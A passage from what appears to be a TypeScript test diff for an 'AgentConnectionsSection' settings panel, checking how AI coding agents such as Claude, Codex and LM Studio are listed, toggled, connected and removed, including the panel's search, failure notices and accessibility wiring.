() => {+ renderSection();+ expect(groupOrder()).toEqual(['In app', 'External apps', 'Terminal']);+ await screen.findByText('Claude Agent');+ expect(groupOrder()).toEqual(['In app', 'External apps', 'Terminal']);+ });++ test('enabling an in-app agent is visibility-only and does not change the launch default', async () => {+ registerAgent({ source: 'registry', id: 'codex-acp', name: 'Codex' });+ expect(getDefaultRegisteredAgent()?.id).toBe('codex-acp');++ renderSection();+ const toggle = await screen.findByTestId('configure-agents-in-app-registry:claude-acp');+ fireEvent.click(toggle);++ await waitFor(() => expect(overrides()['in-app:registry:claude-acp']).toBe(true));+ expect(getDefaultRegisteredAgent()?.id).toBe('codex-acp');+ });++ test('disabling the current default moves the default to the next enabled agent', async () => {+ registerAgent({ source: 'registry', id: 'codex-acp', name: 'Codex' });+ registerAgent({ source: 'registry', id: 'claude-acp', name: 'Claude Agent' });+ expect(getDefaultRegisteredAgent()?.id).toBe('claude-acp');++ renderSection();+ const toggle = await screen.findByTestId('configure-agents-in-app-registry:claude-acp');+ fireEvent.click(toggle);++ await waitFor(() => expect(overrides()['in-app:registry:claude-acp']).toBe(false));+ expect(getDefaultRegisteredAgent()?.id).toBe('codex-acp');+ });++ test('a detected external app is on with no override; a missing one is off', async () => {+ renderSection();+ const detected = await screen.findByTestId('configure-agents-desktop-claude-code');+ const missing = await screen.findByTestId('configure-agents-desktop-codex');+ expect(overrides()['desktop:claude-code']).toBeUndefined();+ expect(detected.getAttribute('aria-checked')).toBe('true');+ expect(missing.getAttribute('aria-checked')).toBe('false');+ });++ test('an absent external app cannot be switched on, and offers to install instead', async () => {+ renderSection();+ const toggle = await screen.findByTestId('configure-agents-desktop-codex');+ expect(toggle.getAttribute('aria-checked')).toBe('false');+ expect(toggle.getAttribute('data-disabled')).toBe('');++ fireEvent.click(toggle);+ await waitFor(() => expect(overrides()['desktop:codex']).toBeUndefined());++ const row = toggle.closest('div[class*="flex items-center"]');+ expect(row?.textContent ?? '').toContain('Not installed');+ });++ test('toggling a detected external app off persists a false override', async () => {+ renderSection();+ const toggle = await screen.findByTestId('configure-agents-desktop-claude-code');+ fireEvent.click(toggle);+ await waitFor(() => expect(overrides()['desktop:claude-code']).toBe(false));+ });++ test('search filters agents across groups', async () => {+ renderSection();+ await screen.findByText('Claude Agent');+ fireEvent.change(screen.getByTestId('configure-agents-search'), { target: { value: 'codex' } });+ await waitFor(() => expect(screen.queryByText('Claude Agent')).toBeNull());+ expect(screen.getByTestId('configure-agents-desktop-codex')).toBeTruthy();+ expect(screen.queryByTestId('configure-agents-no-results')).toBeNull();+ });++ test('a query matching nothing shows the no-results line', async () => {+ renderSection();+ await screen.findByText('Claude Agent');+ fireEvent.change(screen.getByTestId('configure-agents-search'), {+ target: { value: 'zzzznope' },+ });+ await waitFor(() => expect(screen.getByTestId('configure-agents-no-results')).toBeTruthy());+ });+});++describe('AgentConnectionsSection — Terminal group (docked terminal present)', () => {+ beforeEach(async () => {+ terminalLaunchValue = { installedClis: { claude: true, codex: false } };+ const { reloadEnabledAgentsFromStorage } = await import('@/lib/acp/enabled-agents');+ reloadEnabledAgentsFromStorage();+ });+ afterEach(() => {+ terminalLaunchValue = null;+ });++ async function expandTerminal(): Promise<void> {+ fireEvent.click(await screen.findByTestId('configure-agents-terminal-show-more'));+ }++ test('renders the Terminal group with per-CLI rows', async () => {+ renderSection();+ await screen.findByTestId('configure-agents-terminal-claude');+ expect(screen.getByText('Terminal')).toBeTruthy();+ await expandTerminal();+ expect(screen.getByTestId('configure-agents-terminal-codex')).toBeTruthy();+ });++ test('Terminal sorts installed CLIs first and folds the not-installed ones', async () => {+ renderSection();+ const fold = await screen.findByTestId('configure-agents-terminal-show-more');+ expect(screen.queryByTestId('configure-agents-terminal-codex')).toBeNull();+ expect(screen.getByTestId('configure-agents-terminal-claude')).toBeTruthy();++ fireEvent.click(fold);+ expect(screen.getByTestId('configure-agents-terminal-codex')).toBeTruthy();+ expect(fold.textContent).toContain('Show less');+ });++ test('an absent CLI shows the Not installed hint; a present one does not', async () => {+ renderSection();+ await expandTerminal();+ await screen.findByTestId('configure-agents-terminal-codex');+ const codexRow = screen.getByTestId('configure-agents-terminal-codex').closest('div[class]');+ expect(codexRow?.parentElement?.textContent ?? '').toContain('Not installed');+ });++ test('toggling a CLI writes the terminal: override key, not the desktop one', async () => {+ renderSection();+ const toggle = await screen.findByTestId('configure-agents-terminal-claude');+ const desktopKeyBefore = overrides()['desktop:claude-code'];+ fireEvent.click(toggle);+ await waitFor(() => expect(overrides()['terminal:claude']).toBe(false));+ expect(overrides()['desktop:claude-code']).toBe(desktopKeyBefore);+ });+});++describe('AgentConnectionsSection — connection status and action', () => {+ beforeEach(() => {+ terminalLaunchValue = { installedClis: { claude: true } };+ reloadEnabledAgentsFromStorage();+ });+ afterEach(() => {+ terminalLaunchValue = null;+ });++ function disableClaudeCli(): void {+ localStorage.setItem(STORAGE_KEY, JSON.stringify({ 'terminal:claude': false }));+ reloadEnabledAgentsFromStorage();+ }++ test('a connectable CLI with its MCP entry reads Connected and offers Manage', async () => {+ const snapshot = snapshotWith([satisfierId('claude', 'mcp', 'project')]);+ renderSection(async () => result(snapshot));++ await screen.findByTestId('configure-agents-terminal-claude');+ await waitFor(() => expect(within(terminalRow('claude')).getByText('Connected')).toBeTruthy());+ expect(within(terminalRow('claude')).getByRole('button', { name: /^Manage\b/ })).toBeTruthy();+ });++ test('a connected Claude row carries its one-more-step hint in a live region', async () => {+ const snapshot = snapshotWith([satisfierId('claude', 'mcp', 'project')]);+ renderSection(async () => result(snapshot));++ const row = await waitFor(() => terminalRow('claude'));+ await waitFor(() => expect(within(row).getByText('Connected')).toBeTruthy());+ const hint = within(row).getByTestId('configure-agents-terminal-row-claude-followup');+ expect(hint.getAttribute('role')).toBe('status');+ expect(hint.textContent).toBe(+ 'One more step: run Claude in this project and approve OpenKnowledge once.',+ );+ expect(screen.queryByTestId('configure-agents-desktop-row-claude-code-followup')).toBeNull();+ });++ test("Cursor's enable-in-settings hint sits on the desktop row, not the CLI row", async () => {+ terminalLaunchValue = { installedClis: { claude: true, cursor: true } };+ states = { ...states, cursor: { installed: true } } as Record<string, InstallState>;+ reloadEnabledAgentsFromStorage();+ renderSection(async () => result(snapshotWith([satisfierId('cursor', 'mcp', 'project')])));++ const desktopHint = await screen.findByTestId('configure-agents-desktop-row-cursor-followup');+ expect(desktopHint.textContent).toContain('One more step: enable it in Cursor');+ expect(screen.queryByTestId('configure-agents-terminal-row-cursor-followup')).toBeNull();+ });++ test('no hint when the machine-wide entry already carries the requirement', async () => {+ const snapshot = snapshotWith([+ satisfierId('claude', 'mcp', 'project'),+ satisfierId('claude', 'mcp', 'user'),+ ]);+ renderSection(async () => result(snapshot));++ const row = await waitFor(() => terminalRow('claude'));+ await waitFor(() => expect(within(row).getByText('Connected')).toBeTruthy());+ expect(within(row).queryByTestId('configure-agents-terminal-row-claude-followup')).toBeNull();+ });++ test('a row with nothing installed carries no follow-up hint', async () => {+ renderSection(async () => result(snapshotWith([])));++ const row = await waitFor(() => terminalRow('claude'));+ expect(within(row).queryByTestId('configure-agents-terminal-row-claude-followup')).toBeNull();+ });++ test('Not connected shows only when the row is on', async () => {+ renderSection(async () => result(snapshotWith([])));+ const onRow = await waitFor(() => terminalRow('claude'));+ expect(within(onRow).getByText('Not connected')).toBeTruthy();++ cleanup();+ localStorage.setItem(STORAGE_KEY, JSON.stringify({ 'terminal:claude': false }));+ reloadEnabledAgentsFromStorage();+ renderSection(async () => result(snapshotWith([])));+ const offRow = await waitFor(() => terminalRow('claude'));+ expect(within(offRow).queryByText('Not connected')).toBeNull();+ expect(within(offRow).getByRole('switch')).toBeTruthy();+ });++ test('an enabled CLI with nothing installed reads Not connected and offers to connect', async () => {+ renderSection(async () => result(snapshotWith([])));++ await screen.findByTestId('configure-agents-terminal-claude');+ await waitFor(() =>+ expect(within(terminalRow('claude')).getByText('Not connected')).toBeTruthy(),+ );+ expect(+ within(terminalRow('claude')).getByRole('button', { name: /^Add MCP & skill\b/ }),+ ).toBeTruthy();+ });++ test('the registry ruling a CLI absent locks the switch before the PATH probe answers', async () => {+ terminalLaunchValue = { installedClis: {} };+ localStorage.setItem(STORAGE_KEY, JSON.stringify({ 'terminal:hermes': false }));+ reloadEnabledAgentsFromStorage();+ renderSection(async () => result(snapshotWith([])));++ const row = await screen.findByTestId('configure-agents-terminal-row-hermes');+ expect(within(row).getByText('Not installed')).toBeTruthy();+ expect(+ screen.getByTestId('configure-agents-terminal-hermes').getAttribute('data-disabled'),+ ).toBe('');+ });++ test('a CLI whose own probe declined shows no status line, and stays usable', async () => {+ renderSection(async () => result(partiallyUnprobedSnapshot('claude')));++ await screen.findByTestId('configure-agents-terminal-claude');+ await waitFor(() => expect(within(terminalRow('claude')).getByRole('button')).toBeTruthy());+ const row = terminalRow('claude');+ expect(within(row).queryByText('Connected')).toBeNull();+ expect(within(row).queryByText('Not connected')).toBeNull();+ expect(within(row).getByRole('switch')).toBeTruthy();+ });++ test('a disabled CLI with files on disk offers Remove, not a connect action', async () => {+ disableClaudeCli();+ renderSection(async () => result(snapshotWith(diskSatisfierIds('claude'))));++ await screen.findByTestId('configure-agents-terminal-claude');+ await waitFor(() =>+ expect(within(terminalRow('claude')).getByRole('button', { name: /^Remove\b/ })).toBeTruthy(),+ );+ const row = terminalRow('claude');+ expect(within(row).queryByRole('button', { name: /^Add MCP & skill\b/ })).toBeNull();+ expect(within(row).getByRole('switch').getAttribute('aria-checked')).toBe('false');+ });++ test('a disabled CLI with nothing installed offers no action button', async () => {+ disableClaudeCli();+ renderSection(async () => result(snapshotWith([])));++ await screen.findByTestId('configure-agents-terminal-claude');+ await waitFor(() => expect(screen.getByTestId('agent-connection-lm-studio')).toBeTruthy());+ expect(within(terminalRow('claude')).queryByRole('button')).toBeNull();+ expect(within(terminalRow('claude')).getByRole('switch')).toBeTruthy();+ });++ test('pressing Remove opens the confirmation dialog listing the files to delete', async () => {+ disableClaudeCli();+ const user = userEvent.setup();+ renderSection(async () => result(snapshotWith(diskSatisfierIds('claude'))));++ await screen.findByTestId('configure-agents-terminal-claude');+ await waitFor(() =>+ expect(within(terminalRow('claude')).getByRole('button', { name: /^Remove\b/ })).toBeTruthy(),+ );+ await user.click(within(terminalRow('claude')).getByRole('button', { name: /^Remove\b/ }));++ const dialog = await screen.findByRole('alertdialog', {+ name: 'Remove OpenKnowledge from Claude?',+ });+ expect(within(dialog).getByText('Project MCP server')).toBeTruthy();+ });++ test('a tool uninstalled after setup is off by default yet still offers Remove', async () => {+ terminalLaunchValue = { installedClis: { claude: false } };+ reloadEnabledAgentsFromStorage();+ const snapshot: HostSnapshot = {+ ...snapshotWith([satisfierId('claude', 'mcp', 'project')]),+ detection: { detected: [], probed: true },+ };+ renderSection(async () => result(snapshot));++ fireEvent.click(await screen.findByTestId('configure-agents-terminal-show-more'));+ await waitFor(() =>+ expect(within(terminalRow('claude')).getByRole('button', { name: /^Remove\b/ })).toBeTruthy(),+ );+ expect(within(terminalRow('claude')).getByRole('switch').getAttribute('aria-checked')).toBe(+ 'false',+ );+ });++ test('an External-app row shows its connection status too', async () => {+ renderSection(async () => result(snapshotWith([satisfierId('claude', 'mcp', 'project')])));++ const sw = await screen.findByTestId('configure-agents-desktop-claude-code');+ const row = sw.parentElement?.parentElement as HTMLElement;+ await waitFor(() => expect(within(row).getByText('Connected')).toBeTruthy());+ expect(within(row).getByRole('button', { name: /^Manage\b/ })).toBeTruthy();+ });+});++describe('AgentConnectionsSection — connect dialog on switch press', () => {+ beforeEach(() => {+ terminalLaunchValue = { installedClis: { claude: true } };+ reloadEnabledAgentsFromStorage();+ });+ afterEach(() => {+ terminalLaunchValue = null;+ });++ function disableClaudeCli(): void {+ localStorage.setItem(STORAGE_KEY, JSON.stringify({ 'terminal:claude': false }));+ reloadEnabledAgentsFromStorage();+ }++ test('switching on an unconnected CLI opens the connect dialog', async () => {+ disableClaudeCli();+ renderSection(async () => result(snapshotWith([])));++ const toggle = await screen.findByTestId('configure-agents-terminal-claude');+ await waitFor(() => expect(screen.getByTestId('agent-connection-lm-studio')).toBeTruthy());+ expect(toggle.getAttribute('aria-checked')).toBe('false');++ fireEvent.click(toggle);++ expect(await screen.findByRole('dialog')).toBeTruthy();+ expect(overrides()['terminal:claude']).toBe(true);+ });++ test('cancelling the connect dialog puts the switch back to an explicit off', async () => {+ disableClaudeCli();+ const user = userEvent.setup();+ renderSection(async () => result(snapshotWith([])));++ const toggle = await screen.findByTestId('configure-agents-terminal-claude');+ await waitFor(() => expect(screen.getByTestId('agent-connection-lm-studio')).toBeTruthy());+ fireEvent.click(toggle);+ const dialog = await screen.findByRole('dialog');+ expect(overrides()['terminal:claude']).toBe(true);++ await user.click(within(dialog).getByRole('button', { name: 'Cancel' }));++ await waitFor(() => expect(screen.queryByRole('dialog')).toBeNull());+ expect(overrides()['terminal:claude']).toBe(false);+ expect(+ screen.getByTestId('configure-agents-terminal-claude').getAttribute('aria-checked'),+ ).toBe('false');+ });++ test('switching on again and saving keeps the switch on and writes the files', async () => {+ disableClaudeCli();+ const user = userEvent.setup();+ const intentsSeen: ApplyIntent[][] = [];+ renderSection(async (intents) => {+ intentsSeen.push([...intents]);+ const wrote = intents.some((intent) => intent.desired === 'present');+ return result(+ wrote ? snapshotWith([satisfierId('claude', 'mcp', 'project')]) : snapshotWith([]),+ );+ });++ const toggle = await screen.findByTestId('configure-agents-terminal-claude');+ await waitFor(() => expect(screen.getByTestId('agent-connection-lm-studio')).toBeTruthy());+ fireEvent.click(toggle);+ const dialog = await screen.findByRole('dialog');++ await user.click(within(dialog).getByRole('button', { name: 'Save changes' }));++ await waitFor(() => expect(screen.queryByRole('dialog')).toBeNull());+ const writeIntents = intentsSeen.flat().filter((intent) => intent.desired === 'present');+ expect(writeIntents.length).toBeGreaterThan(0);+ expect(+ screen.getByTestId('configure-agents-terminal-claude').getAttribute('aria-checked'),+ ).toBe('true');+ expect(overrides()['terminal:claude']).toBe(true);+ });++ test('opening the page with unconnected tools installed opens zero dialogs', async () => {+ terminalLaunchValue = { installedClis: { claude: true, codex: true } };+ reloadEnabledAgentsFromStorage();+ renderSection(async () => result(snapshotWith([])));++ await screen.findByTestId('configure-agents-terminal-claude');+ await waitFor(() =>+ expect(within(terminalRow('claude')).getByText('Not connected')).toBeTruthy(),+ );+ expect(screen.queryByRole('dialog')).toBeNull();+ expect(+ within(terminalRow('claude')).getByRole('button', { name: /^Add MCP & skill\b/ }),+ ).toBeTruthy();+ });++ test('cancelling a Connect-button dialog leaves the switch untouched', async () => {+ const user = userEvent.setup();+ renderSection(async () => result(snapshotWith([])));++ const toggle = await screen.findByTestId('configure-agents-terminal-claude');+ expect(toggle.getAttribute('aria-checked')).toBe('true');+ const connect = await within(terminalRow('claude')).findByRole('button', {+ name: /^Add MCP & skill\b/,+ });+ await user.click(connect);+ const dialog = await screen.findByRole('dialog');++ await user.click(within(dialog).getByRole('button', { name: 'Cancel' }));++ await waitFor(() => expect(screen.queryByRole('dialog')).toBeNull());+ expect(+ screen.getByTestId('configure-agents-terminal-claude').getAttribute('aria-checked'),+ ).toBe('true');+ expect(overrides()['terminal:claude']).toBeUndefined();+ });+});++describe('AgentConnectionsSection — an agent nothing can open', () => {+ beforeEach(() => {+ terminalLaunchValue = { installedClis: { claude: true } };+ reloadEnabledAgentsFromStorage();+ });+ afterEach(() => {+ terminalLaunchValue = null;+ });++ test('LM Studio rides with the external apps, since nothing can open it', async () => {+ renderSection(async () => result(snapshotWith([])));++ await screen.findByText('External apps');+ expect(screen.getByTestId('agent-connection-lm-studio')).toBeTruthy();+ expect(screen.queryByText('Connect only')).toBeNull();+ });++ test('its row carries no switch, having no launcher entry to control', async () => {+ renderSection(async () => result(snapshotWith([])));++ const row = await screen.findByTestId('agent-connection-lm-studio');+ expect(within(row).queryByRole('switch')).toBeNull();+ });++ test('removal is reachable from the row once its setup is on disk', async () => {+ renderSection(async () => result(snapshotWith(diskSatisfierIds('lm-studio'))));++ const row = await screen.findByTestId('agent-connection-lm-studio');+ await waitFor(() =>+ expect(within(row).getByRole('button', { name: /^Remove\b/ })).toBeTruthy(),+ );+ });++ test('search finds it and filters the launchable rows out', async () => {+ renderSection(async () => result(snapshotWith([])));++ await screen.findByText('External apps');+ fireEvent.change(screen.getByTestId('configure-agents-search'), {+ target: { value: 'lm studio' },+ });++ await waitFor(() => expect(screen.getByTestId('agent-connection-lm-studio')).toBeTruthy());+ expect(screen.queryByText('Terminal')).toBeNull();+ });++ test('Claude Desktop has no connection row — OK writes nothing for it', async () => {+ renderSection(async () => result(snapshotWith([])));++ await screen.findByText('External apps');+ expect(screen.queryByTestId('agent-connection-claude-desktop')).toBeNull();+ expect(screen.getByTestId('configure-agents-desktop-claude-code')).toBeTruthy();+ expect(screen.getAllByText('Claude Desktop')).toHaveLength(1);+ expect(screen.queryByText('Claude Desktop (chat)')).toBeNull();+ });+});++describe('AgentConnectionsSection — no connection row lost on any host', () => {+ beforeEach(() => {+ reloadEnabledAgentsFromStorage();+ });+ afterEach(() => {+ terminalLaunchValue = null;+ });++ function connectionRowFor(agentId: AgentId): HTMLElement | null {+ const connectOnly = screen.queryByTestId(`agent-connection-${agentId}`);+ if (connectOnly) return connectOnly;+ const cli = TERMINAL_CLI_IDS.find((c) => agentIdForTerminalCli(c) === agentId);+ if (cli) {+ const row = screen.queryByTestId(`configure-agents-terminal-row-${cli}`);+ if (row) return row;+ }+ const target = VISIBLE_HANDOFF_TARGETS.find((tg) => agentIdForHandoffTarget(tg.id) === agentId);+ if (target) {+ const row = screen.queryByTestId(`configure-agents-desktop-${target.id}`);+ if (row) return row;+ }+ return null;+ }++ test('desktop host keeps a connection row for every agent that has one today', async () => {+ terminalLaunchValue = {+ installedClis: Object.fromEntries(TERMINAL_CLI_IDS.map((cli) => [cli, cli === 'claude'])),+ };+ reloadEnabledAgentsFromStorage();+ renderSection(async () => result(snapshotWith([])));+ await screen.findByText('External apps');++ expect(connectionRowFor('opencode')).toBeNull();+ fireEvent.click(await screen.findByTestId('configure-agents-terminal-show-more'));+ expect(connectionRowFor('opencode')).not.toBeNull();++ expect(CONNECTION_ROW_AGENT_IDS.length).toBeGreaterThanOrEqual(10);+ for (const agentId of CONNECTION_ROW_AGENT_IDS) {+ expect(+ connectionRowFor(agentId),+ `no connection row for ${agentId} on desktop`,+ ).not.toBeNull();+ }+ });++ test('web host keeps a connection row for every agent, terminal CLIs included', async () => {+ terminalLaunchValue = null;+ reloadEnabledAgentsFromStorage();+ renderSection(async () => result(snapshotWith([])));+ await screen.findByText('External apps');++ expect(screen.getByText('Terminal')).toBeTruthy();+ expect(CONNECTION_ROW_AGENT_IDS.length).toBeGreaterThanOrEqual(10);+ for (const agentId of CONNECTION_ROW_AGENT_IDS) {+ expect(connectionRowFor(agentId), `no connection row for ${agentId} on web`).not.toBeNull();+ }+ });++ test('a web terminal row reports and configures, but offers no switch', async () => {+ terminalLaunchValue = null;+ reloadEnabledAgentsFromStorage();+ renderSection(async () => result(snapshotWith([])));+ await screen.findByText('Terminal');++ const row = await screen.findByTestId('configure-agents-terminal-row-claude');+ expect(within(row).queryByRole('switch')).toBeNull();+ });+});++describe('AgentConnectionsSection — degraded install-state read', () => {+ beforeEach(() => {+ terminalLaunchValue = { installedClis: { claude: true, codex: false } };+ reloadEnabledAgentsFromStorage();+ });+ afterEach(() => {+ terminalLaunchValue = null;+ });++ test('a row action names the agent it acts on, not just the verb', async () => {+ renderSection(async () => result(snapshotWith(diskSatisfierIds('claude'))));++ const manage = await waitFor(() =>+ within(terminalRow('claude')).getByRole('button', { name: /^Manage\b/ }),+ );+ expect(manage.getAttribute('aria-label')).toBe('Manage Claude CLI');+ expect(manage.textContent).toContain('Manage');+ });++ const READ_FAILED_NOTICE = "Couldn't check which tools are connected.";++ test('a failed read shows a retryable notice while every group and row still renders', async () => {+ renderSection(async () => result(null, false));++ await screen.findByText(READ_FAILED_NOTICE);+ expect(screen.getByRole('button', { name: 'Retry' })).toBeTruthy();++ expect(screen.getByText('In app')).toBeTruthy();+ expect(screen.getByText('Terminal')).toBeTruthy();+ expect(screen.getByText('External apps')).toBeTruthy();+ expect(screen.getByText('Claude Agent')).toBeTruthy();+ expect(screen.getByTestId('configure-agents-terminal-claude')).toBeTruthy();+ expect(screen.getByTestId('configure-agents-desktop-claude-code')).toBeTruthy();+ });++ test('a host that probed nothing but reported ok still shows the notice', async () => {+ renderSection(async () =>+ result(+ { probes: { env: 'desktop', satisfiers: {} }, detection: { detected: [], probed: false } },+ true,+ ),+ );++ await screen.findByText(READ_FAILED_NOTICE);+ expect(screen.getByRole('button', { name: 'Retry' })).toBeTruthy();+ });++ test('a host that answered nothing counts as a failed read, keys or no keys', async () => {+ const allUnprobed = Object.fromEntries(+ Object.keys(snapshotWith([]).probes.satisfiers).map((id) => [id, { state: 'unprobed' }]),+ );+ renderSection(async () =>+ result(+ {+ probes: { env: 'local-web', satisfiers: allUnprobed },+ detection: { detected: [], probed: false },+ },+ true,+ ),+ );++ await screen.findByText(READ_FAILED_NOTICE);+ const section = screen.getByTestId('settings-configure-agents');+ for (const label of [/^Add MCP & skill/, /^Manage/, /^Remove/]) {+ expect(within(section).queryByRole('button', { name: label })).toBeNull();+ }+ });++ test('a factless read offers no row action, only Retry', async () => {+ renderSection(async () =>+ result(+ { probes: { env: 'desktop', satisfiers: {} }, detection: { detected: [], probed: false } },+ true,+ ),+ );++ await screen.findByText(READ_FAILED_NOTICE);+ const section = screen.getByTestId('settings-configure-agents');+ for (const label of [/^Add MCP & skill/, /^Manage/, /^Remove/, /^Install/]) {+ expect(within(section).queryByRole('button', { name: label })).toBeNull();+ }+ expect(screen.getByTestId('configure-agents-terminal-claude')).toBeTruthy();+ expect(screen.getByRole('button', { name: 'Retry' })).toBeTruthy();+ });++ test('a host that read fine but cannot apply changes shows no notice', async () => {+ renderSection(async () => result(snapshotWith([]), false));++ await screen.findByText('External apps');+ expect(screen.queryByText(READ_FAILED_NOTICE)).toBeNull();+ });++ test('a failed read costs the connection column, not any rows', async () => {+ renderSection(async () => result(null, false));++ await screen.findByText(READ_FAILED_NOTICE);+ expect(screen.getByTestId('agent-connection-lm-studio')).toBeTruthy();+ const row = screen.getByTestId('agent-connection-lm-studio');+ expect(within(row).queryByRole('button')).toBeNull();+ });++ test('Retry keeps its own button mounted so focus survives the attempt', async () => {+ renderSection(async () => result(null, false));+ await screen.findByText(READ_FAILED_NOTICE);++ const retry = screen.getByRole('button', { name: 'Retry' });+ retry.focus();+ fireEvent.click(retry);+ await waitFor(() => expect(screen.getByRole('button', { name: 'Retry' })).toBe(retry));+ expect(document.activeElement).toBe(retry);+ });++ test('an External-apps row wires its hint to its switch', async () => {+ renderSection();+ const toggle = await screen.findByTestId('configure-agents-desktop-codex');+ const row = screen.getByTestId('configure-agents-desktop-row-codex');++ const hint = within(row).getByText('Not installed');+ expect(hint.id).toBe('configure-agents-desktop-row-codex-hint');+ expect((toggle.getAttribute('aria-describedby') ?? '').split(' ')).toContain(hint.id);+ });++ test('an In-app row carries a handle so its disabled switch can be explained', async () => {+ renderSection();+ await screen.findByText('In app');+ expect(screen.getAllByTestId(/^configure-agents-in-app-row-/).length).toBeGreaterThan(0);+ });++ test('the action button carries the description itself, not a wrapper', async () => {+ renderSection(async () => result(snapshotWith(diskSatisfierIds('claude'))));+ const row = await waitFor(() => terminalRow('claude'));+ const status = within(row).getByText('Connected');+ const manage = within(row).getByRole('button', { name: /^Manage/ });+ expect(manage.getAttribute('aria-describedby')).toBe(status.parentElement?.id ?? status.id);+ });++ test('a row control points at the status and hint that qualify it', async () => {+ terminalLaunchValue = { installedClis: {} };+ localStorage.setItem(STORAGE_KEY, JSON.stringify({ 'terminal:hermes': false }));+ reloadEnabledAgentsFromStorage();+ renderSection(async () => result(snapshotWith([])));++ const row = await screen.findByTestId('configure-agents-terminal-row-hermes');+ const hint = within(row).getByText('Not installed');+ expect(hint.id).toBeTruthy();+ const described =+ screen.getByTestId('configure-agents-terminal-hermes').getAttribute('aria-describedby') ?? '';+ expect(described.split(' ')).toContain(hint.id);+ });++ test('a switch still toggles and persists while the read is failing', async () => {+ renderSection(async () => result(null, false));++ const toggle = await screen.findByTestId('configure-agents-terminal-claude');+ fireEvent.click(toggle);+ await waitFor(() => expect(overrides()['terminal:claude']).toBe(false));+ });++ test('retrying a failed read populates connection status without a page reload', async () => {+ const user = userEvent.setup();+ let calls = 0;+ const apply = async () => {+ calls += 1;+ return calls === 1+ ? result(null, false)+ : result(snapshotWith([satisfierId('claude', 'mcp', 'project')]));+ };+ renderSection(apply);++ await screen.findByText(READ_FAILED_NOTICE);+ expect(within(terminalRow('claude')).queryByText('Connected')).toBeNull();++ await user.click(screen.getByRole('button', { name: 'Retry' }));+ await waitFor(() => expect(within(terminalRow('claude')).getByText('Connected')).toBeTruthy());+ expect(screen.queryByText(READ_FAILED_NOTICE)).toBeNull();+ });++ test('search still filters across groups while the read is failing', async () => {+ renderSection(async () => result(null, false));+ await screen.findByText('Claude Agent');++ fireEvent.change(screen.getByTestId('configure-agents-search'), {+ target: { value: 'codex' },+ });+ await waitFor(() => expect(screen.queryByText('Claude Agent')).toBeNull());+ expect(screen.getByTestId('configure-agents-desktop-codex')).toBeTruthy();+ });+});++describe('AgentConnectionsSection — missing skill and paired rows', () => {+ beforeEach(() => {+ terminalLaunchValue = { installedClis: { claude: true } };+ reloadEnabledAgentsFromStorage();+ });+ afterEach(() => {+ terminalLaunchValue = null;+ });++ test('the dialog suggests the skill when the MCP entry is present but the skill is not', async () => {+ const user = userEvent.setup();+ renderSection(async () => result(snapshotWith([satisfierId('claude', 'mcp', 'project')])));++ await screen.findByTestId('configure-agents-terminal-claude');+ await user.click(within(terminalRow('claude')).getByRole('button', { name: /^Manage\b/ }));++ const dialog = await screen.findByRole('dialog');+ expect(within(dialog).getByText(/loses edit attribution and the live preview/i)).toBeTruthy();+ });++ test('the dialog for an agent with two rows says the setup covers both', async () => {+ const user = userEvent.setup();+ renderSection(async () => result(snapshotWith([])));++ await screen.findByTestId('configure-agents-terminal-claude');+ await user.click(+ within(terminalRow('claude')).getByRole('button', { name: /^Add MCP & skill\b/ }),+ );++ const dialog = await screen.findByRole('dialog');+ expect(within(dialog).getByText(/connecting either connects both/i)).toBeTruthy();+ });++ test('switching on a CLI that only lacks its skill opens no dialog', async () => {+ localStorage.setItem(STORAGE_KEY, JSON.stringify({ 'terminal:claude': false }));+ reloadEnabledAgentsFromStorage();+ renderSection(async () => result(snapshotWith([satisfierId('claude', 'mcp', 'project')])));++ const toggle = await screen.findByTestId('configure-agents-terminal-claude');+ await waitFor(() => expect(within(terminalRow('claude')).getByText('Connected')).toBeTruthy());+ expect(toggle.getAttribute('aria-checked')).toBe('false');++ fireEvent.click(toggle);++ expect(overrides()['terminal:claude']).toBe(true);+ expect(screen.queryByRole('dialog')).toBeNull();+ });++ test('the skill suggestion clears once the skill is selected', async () => {+ const user = userEvent.setup();+ renderSection(async () => result(snapshotWith([satisfierId('claude', 'mcp', 'project')])));++ await screen.findByTestId('configure-agents-terminal-claude');+ await user.click(within(terminalRow('claude')).getByRole('button', { name: /^Manage\b/ }));++ const dialog = await screen.findByRole('dialog');+ expect(within(dialog).getByText(/loses edit attribution and the live preview/i)).toBeTruthy();++ await user.click(within(dialog).getByRole('checkbox', { name: 'Project skill' }));++ await waitFor(() =>+ expect(within(dialog).queryByText(/loses edit attribution and the live preview/i)).toBeNull(),+ );+ });++ test('the shared-setup note shows on every host, since the pairing is not host-dependent', async () => {+ terminalLaunchValue = null;+ reloadEnabledAgentsFromStorage();+ const user = userEvent.setup();+ renderSection(async () => result(snapshotWith([])));++ const sw = await screen.findByTestId('configure-agents-desktop-claude-code');+ const row = sw.parentElement?.parentElement as HTMLElement;+ await user.click(within(row).getByRole('button', { name: /^Add MCP & skill\b/ }));++ const dialog = await screen.findByRole('dialog');+ expect(within(dialog).getByText(/connecting either connects both/i)).toBeTruthy();+ });++ test('connecting one row shows the paired row connected too', async () => {+ const user = userEvent.setup();+ const apply = async (intents: readonly ApplyIntent[]) =>+ intents.length === 0+ ? result(snapshotWith([]))+ : result(snapshotWith(diskSatisfierIds('claude')));+ renderSection(apply);++ await screen.findByTestId('configure-agents-terminal-claude');+ await waitFor(() =>+ expect(within(terminalRow('claude')).getByText('Not connected')).toBeTruthy(),+ );++ await user.click(+ within(terminalRow('claude')).getByRole('button', { name: /^Add MCP & skill\b/ }),+ );+ const dialog = await screen.findByRole('dialog');+ await user.click(within(dialog).getByRole('button', { name: 'Save changes' }));+ await waitFor(() => expect(screen.queryByRole('dialog')).toBeNull());++ await waitFor(() => expect(within(terminalRow('claude')).getByText('Connected')).toBeTruthy());+ const desktopRow = screen.getByTestId('configure-agents-desktop-claude-code').parentElement+ ?.parentElement as HTMLElement;+ expect(within(desktopRow).getByText('Connected')).toBeTruthy();+ });+});++describe('AgentConnectionsSection — an absent tool locks its switch', () => {+ afterEach(() => {+ terminalLaunchValue = null;+ });++ async function reload(): Promise<void> {+ const { reloadEnabledAgentsFromStorage } = await import('@/lib/acp/enabled-agents');+ reloadEnabledAgentsFromStorage();+ }++ async function expandTerminalFold(): Promise<void> {+ const more = screen.queryByTestId('configure-agents-terminal-show-more');+ if (more !== null) fireEvent.click(more);+ }++ test('an absent CLI left off cannot be switched on', async () => {+ terminalLaunchValue = { installedClis: { claude: true, codex: false } };+ await reload();+ renderSection();+ await expandTerminalFold();++ const toggle = await screen.findByTestId('configure-agents-terminal-codex');+ expect(toggle.getAttribute('data-disabled')).toBe('');+ });++ test('an absent CLI the user had turned on stays switchable, so the choice can be undone', async () => {+ 